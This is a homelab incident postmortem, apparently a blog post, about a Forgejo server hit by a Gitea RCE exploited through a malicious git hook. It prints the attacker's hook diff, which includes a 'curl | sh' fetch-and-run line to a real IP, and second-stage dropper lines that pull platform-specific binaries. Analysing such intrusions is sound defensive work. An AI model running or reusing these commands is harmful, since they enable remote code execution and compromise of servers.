My Homelab Got Hacked – A Postmortem

cdrnsf1 pts0 comments

My Homelab Got Hacked - A Postmortem – Phunky Cafe

My Homelab Got Hacked - A Postmortem

10 Aug, 2026

Welp. My Forgejo instance got popped with an RCE two days ago by CVE-2026-60004. Luckily, I noticed the following morning and had the day free to figure out what happened. Let's dive in!

The Incident<br>I woke up on Saturday morning to several Pushover notifications from Komodo warning me that my server's CPU usage was quickly spiking to 95%, then dropping back to 80%. That machine has an i5-10600K that normally idles at ~4% usage. I checked Komodo and found that it'd been at a sustained 50% CPU usage since 9:00AM the day before; about 24 hours.

I unfortunately did not get a screenshot, but the CPU usage of my Forgejo Docker container made it the obvious culprit. I logged in as the admin and quickly noticed a new user: testpoc26188. I thought I had disabled open sign-ups, but apparently I had not. This was my first mistake.

Looking at this user, they only had a single repo, poc-78614, with two files: a README that just said poc-78614, and a folder called hooks containing a shell script called post-index-change. At this point, I shut down Forgejo's Docker container, though I wish I had kept it paused for later investigation.

Based on the contents of post-index-change, I quickly found CVE-2026-60004, a recently-disclosed RCE vulnerability in Gitea, upon which Forgejo is based. It exploits a bug in Gitea's (and thus, Forgejo's) diffpatch endpoint, enabling the attacker to execute a malicious Git hook to obtain RCE. The CVE had already been patched in the latest releases of v15 LTS and v16, so why was I still vulnerable?

Now for my second mistake. For most containers, I use latest image tags which lets Komodo check for and notify me of available updates every night. Its yellow "update available" icons give my ADHD-ass an out of place reminder to read release notes and manually decide when to update. Unfortunately, Forgejo only offers versioned image tags, meaning no latest tag. I still had mine pinned to v13 which reached EOL 6 months ago in January, 2026. It would be nice to have a latest tag, but I understand why the Forgejo team would be hesitant to offer one. No hate of course, I still have mad respect for y'all. 🫶

The Nerdy Bits!<br>I ran build_hook("COMMAND", "LEAK_REF") from Gitea's published POC and diff'd it against the exploit on my server.

$ diff post-index-change generated-exploit<br>10,14c10,13<br>curl -s http://172.245.159.216 | sh &<br>output_blob=$(id 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4<br>tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5<br>commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6<br>git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7<br>> output_blob=$({ /bin/sh -c COMMAND; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4<br>> tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5<br>> commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6<br>> git --git-dir="$origin_git" update-ref LEAK_REF "$commit" || exit 7

They were nearly identical. The only differences were the details in the Git commit and tree variables(foreshadowing...), my placeholder COMMAND and LEAK_REF values, and the attacker's added curl back to their server's IP.

Speaking of their server's IP, it looks to be a server on RackNerd's infra. I curled the malicious IP and grabbed the payload: another shell script. This one was a heavily minified, lightly obfuscated 6-liner, with the longest line being 1063 characters. After formatting it with shfmt, it was still gross, but much more readable at 57 lines. This bit immediately stood out to me:

[ "$__a" = "x86_64" ] && __u="http://172.245.159.216/1"<br>[ "$__a" = "aarch64" ] && __u="http://172.245.159.216/2"<br>[ "$__a" = "amd64" ] && __u="http://172.245.159.216/3"

Smells like platform-specific binaries; these must be the real payloads. The second-stage script was still pretty unreadable overall though, so I had an LLM add comments throughout to explain what each chunk did.

Note: I know the LLM-use will (understandably) piss some people off. However, I would not have otherwise been able to understand this nigh-unreadable shell script. Rest-assured that AI was not used elsewhere in the writing of this post, and that I am not an AI-bro.

In short, the second-stage script:

Attempts to kill processes with “guard” in the name (antivirus?).

Kills processes using more than 80% of the CPU and disables their systemd entries.

Determines a suitable download location...

exit origin_git forgejo tree commit server

Related Articles